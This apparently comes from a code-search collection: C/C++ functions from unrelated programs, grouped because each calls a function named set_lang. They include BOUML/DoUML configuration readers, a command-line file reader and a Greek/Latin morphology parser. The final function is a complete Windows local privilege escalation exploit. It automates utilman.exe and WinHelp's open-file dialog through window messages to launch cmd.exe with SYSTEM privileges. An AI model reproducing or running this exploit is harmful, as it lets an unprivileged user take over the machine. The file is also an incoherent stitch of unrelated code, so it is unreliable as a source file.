static void propose_lang() { // note : QFile fp(QDir::home().absFilePath(".boumlrc")) doesn't work // if the path contains non latin1 characters, for instance cyrillic ! QString s = homeDir().absFilePath(".boumlrc"); FILE * fp = fopen((const char *) s, "a"); if (fp != 0) { QString lang = lang_file(); if (! lang.isEmpty()) { FILE * fp2 = fopen((const char *) lang, "r"); if (fp2 != 0) { fclose(fp2); fprintf(fp, "LANG %s\n", (const char *) lang); fclose(fp); set_lang((const char *) lang); msg_warning(TR("language"), TR("the used language for menus and dialogs was set automatically,\n" "you can change it through the environment dialog")); } } else fclose(fp); } }
int main(int argc, char* argv[]) { FILE *fp; set_lang(); if (isatty(fileno(stdin))) { if (argc == 1) { read_file(stdin); } for (int a = 1; a < argc; a++) { if (strcmp(argv[a], "-") == 0) { read_file(stdin); } else { fp = fopen(argv[a], "r"); if (fp != NULL) { read_file(fp); fclose(fp); } else { printf(ENOTFOUND, argv[a]); } } } } else { read_file(stdin); } return 0; }
void settitle(void) { char bstr[128]; if (edp) { set_lang(syncolors ? filename : ".0"); upd=1; lmax=0; } SetWindowText(ewnd,format_status(bstr,0)); }
int read_doumlrc() { QSettings settings(QSettings::IniFormat, QSettings::UserScope, "DoUML", "settings"); settings.setIniCodec(QTextCodec::codecForName("UTF-8")); int id = settings.value("Main/id", -1).toInt(); set_manual_dir(settings.value("Main/manual", "").toString()); set_navigator_path(settings.value("Main/navigator", "").toString()); set_editor(settings.value("Main/editor", "").toString()); set_template_project(settings.value("Main/template", "").toString()); set_lang(settings.value("Main/lang").toString()); QString s = settings.value("Main/encoding", "UTF-8").toString(); set_codec(s); QTextCodec::setCodecForTr(QTextCodec::codecForName(s)); QTextCodec::setCodecForLocale(QTextCodec::codecForName(s)); int l, t, r, b; l = settings.value("Desktop/left", -1).toInt(); r = settings.value("Desktop/right", -1).toInt(); t = settings.value("Desktop/top", -1).toInt(); b = settings.value("Desktop/bottom", -1).toInt(); if(l != -1 && r != -1 && t != -1 && b != -1) { UmlDesktop::set_limits(l, t, r, b); } else { UmlDesktop::set_limits(0, 0, 0, 0); } if (id == -1) { QMessageBox::critical(0, "Douml", TR("Own identifier missing or invalid")); EnvDialog::edit(FALSE, TRUE); return read_doumlrc(); } return id; }
int main(int argc, char** argv) { char line[BUFSIZ*4]; PrntFlags flags = (PERSEUS_FORMAT|STRICT_CASE); int rval; long freemem = 0; int c; int errflg = 0; /* process arguments */ while (!errflg && (c = getopt(argc, argv, ARGS)) != -1) { switch (c) { case 'c': flags |= CHECK_PREVERB; break; case 'I': set_lang(ITALIAN); break; case 'L': set_lang(LATIN); break; case 'i': flags |= SHOW_FULL_INFO; break; case 'x': flags |= LEXICON_OUTPUT; break; case 'V': flags |= VERBS_ONLY; break; case 'S': flags &= ~(STRICT_CASE); break; case 'p': flags |= PARSE_FORMAT; break; case 'm': SetMorphPath(optarg); break; default: errflg++; break; } } /* process input */ int nwords = 0; while (1) { /* if processed command line args */ if (argc == 0) break; /* if args left */ if (optind < argc) { /* use remaining args as line */ *line = '\0'; while (optind < argc) { if (*line != '\0') strcat(line, " "); strcat(line, argv[optind++]); } /* exit loop next time through */ argc = 0; } else { /* get line from stdin, minus trailing newline */ if (!fgets(line, BUFSIZ * 4, stdin)) { /* exit loop if no more input */ break; } if (line[strlen(line) - 1] == '\n') line[strlen(line) - 1] = '\0'; } /* for each word in line */ char* word = strtok(line, " \t"); for (; word; word = strtok(NULL, " \t")) { cleanstring(word); if (!*word) continue; if (nwords == 0) printf("<words>\n"); if (!alpheiosCheckstring(word, flags, stdout)) { printf("<unknown xml:lang="); if (cur_lang() == GREEK) printf("\"grc-x-beta\""); else if (cur_lang() == LATIN) printf("\"lat\""); printf(">%s</unknown>\n", word); } ++nwords; } } if (nwords == 0) { printf("<error>No words</error>\n"); return 2; } else { printf("</words>\n"); } return 0; }
int read_boumlrc() { // note : QFile fp(QDir::home().absFilePath(".boumlrc")) doesn't work // if the path contains non latin1 characters, for instance cyrillic ! QString s = QDir::home().absFilePath(".boumlrc"); FILE * fp = fopen((const char *) s, "r"); if (fp == 0) { QMessageBox::critical(0, "Bouml", TR("cannot read '%1'", s)); exit(-1); } set_manual_dir(""); set_navigator_path(""); set_template_project(""); set_editor(""); set_codec(""); UmlDesktop::set_limits(0, 0, 0, 0); int id = -1; char line[512]; bool lang_set = FALSE; bool nolang = FALSE; while (fgets(line, sizeof(line) - 1, fp) != 0) { remove_crlf(line); if (!strncmp(line, "ID ", 3)) sscanf(line+3, "%d", &id); else if (!strncmp(line, "MANUAL ", 7)) set_manual_dir(line+7); else if (!strncmp(line, "NAVIGATOR ", 10)) set_navigator_path(line+10); else if (!strncmp(line, "TEMPLATE ",9 )) set_template_project(line+9); else if (!strncmp(line, "EDITOR ", 7)) set_editor(line+7); else if (!strncmp(line, "CHARSET ", 8)) set_codec(line+8); else if (!strncmp(line, "DESKTOP ", 8)) { int l, t, r, b; if (sscanf(line+8, "%d %d %d %d", &l, &t, &r, &b) == 4) UmlDesktop::set_limits(l, t, r, b); } else if (!strncmp(line, "LANG ", 5)) { set_lang(line+5); lang_set = TRUE; } else if (!strncmp(line, "NOLANG", 6)) { nolang = TRUE; } } fclose(fp); if (! lang_set) { set_lang(""); if (! nolang) propose_lang(); } if (id == -1) { QMessageBox::critical(0, "Bouml", TR("Own identifier missing or invalid")); EnvDialog::edit(FALSE, TRUE); return read_boumlrc(); } return id; }
int main(int argc, char* argv[]) { HWND lHandle, lHandle2; POINT point; char cmd[]="%windir%\\system32\\cmd.ex?"; unsigned int i; int lang_id; banner(); printf("[+] Gathering system language information\r\n"); lang_id=set_lang(); printf("[+] OK language ...");print_lang(lang_id); for(i=0;i<sizeof(lang)/sizeof(lang[0]);i++) if(lang[i].id==lang_id) break; if(i==sizeof(lang)/sizeof(lang[0])) { printf("error: undefined language.\r\n"); return -1; } printf("[+] Trying to execute program with SYSTEM priviliges through utilman.exe\r\n"); printf("prog: %s\r\n",cmd); // run utility manager // system("utilman.exe /start"); WinExec("utilman.exe /start",SW_HIDE); Sleep(1000); lHandle=FindWindow(NULL, lang[i].utilman); if (!lHandle) { printf("error: unable to start utilman.exe.\r\n"); return 0; } PostMessage(lHandle,0x313,0,0); //=right click on the app button in the //taskbar or Alt+Space Bar Sleep(100); SendMessage(lHandle,0x365,0,0x1); //send WM_COMMANDHELP 0x0365 lParam must be<>NULL Sleep(300); SendMessage (FindWindow(NULL, lang[i].winhelp), WM_IME_KEYDOWN, VK_RETURN, 0); Sleep(500); // find open file dialog window lHandle = FindWindow("#32770",lang[i].open); // get input box handle lHandle2 = GetDlgItem(lHandle, 0x47C); Sleep(500); // set text to filter listview to display only cmd.exe SendMessage (lHandle2, WM_SETTEXT, 0, (LPARAM)cmd); Sleep(800); // send return SendMessage (lHandle2, WM_IME_KEYDOWN, VK_RETURN, 0); //get navigation bar handle lHandle2 = GetDlgItem(lHandle, 0x4A0); //send tab SendMessage (lHandle2, WM_IME_KEYDOWN, VK_TAB, 0); Sleep(500); lHandle2 = FindWindowEx(lHandle,NULL,"SHELLDLL_DefView", NULL); //get list view handle lHandle2 = GetDlgItem(lHandle2, 0x1); SendMessage (lHandle2, WM_IME_KEYDOWN, 0x43, 0); // send "c" char SendMessage (lHandle2, WM_IME_KEYDOWN, 0x4D, 0); // send "m" char SendMessage (lHandle2, WM_IME_KEYDOWN, 0x44, 0); // send "d" char Sleep(500); //popup context menu PostMessage (lHandle2, WM_CONTEXTMENU, 0, 0); Sleep(1000); // get context menu handle point.x =10; point.y =30; lHandle2=WindowFromPoint(point); SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu SendMessage (lHandle2, WM_KEYDOWN, VK_RETURN, 0); // send return SendMessage (lHandle, WM_CLOSE,0,0); // close open file dialog window Sleep(500); SendMessage (FindWindow(NULL, lang[i].winhelp), WM_CLOSE, 0, 0);// close open error window SendMessage (FindWindow(NULL, lang[i].utilman), WM_CLOSE, 0, 0);// close utilitymanager return 0; }